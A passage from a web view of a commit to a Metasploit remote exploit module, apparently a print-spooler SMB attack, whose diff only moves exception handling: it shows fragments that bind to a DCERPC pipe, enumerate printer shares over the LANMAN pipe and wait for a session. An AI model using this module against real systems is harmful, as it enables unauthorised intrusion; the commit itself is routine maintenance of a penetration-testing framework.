clean up exceptions a bit further
git-svn-id: file:///home/svn/framework3/trunk@10557 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
7a04ce32ca
commit
b36e383581
|
@ -82,11 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
||||
|
||||
print_status("Binding to #{handle} ...")
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
raise RuntimeError, e.message
|
||||
end
|
||||
dcerpc_bind(handle)
|
||||
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
|
@ -95,19 +91,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (pname = datastore['PNAME'])
|
||||
printers << pname
|
||||
else
|
||||
begin
|
||||
res = self.simple.client.trans(
|
||||
"\\PIPE\\LANMAN",
|
||||
(
|
||||
[0x00].pack('v') +
|
||||
"WrLeh\x00" +
|
||||
"B13BWz\x00" +
|
||||
[0x01, 65406].pack("vv")
|
||||
)
|
||||
res = self.simple.client.trans(
|
||||
"\\PIPE\\LANMAN",
|
||||
(
|
||||
[0x00].pack('v') +
|
||||
"WrLeh\x00" +
|
||||
"B13BWz\x00" +
|
||||
[0x01, 65406].pack("vv")
|
||||
)
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
raise RuntimeError, e.message
|
||||
end
|
||||
)
|
||||
|
||||
printers = []
|
||||
|
||||
|
@ -193,6 +185,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Everything should be set, waiting up to two minutes for a session...")
|
||||
handler
|
||||
disconnect
|
||||
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError
|
||||
raise RuntimeError, $!.message
|
||||
end
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue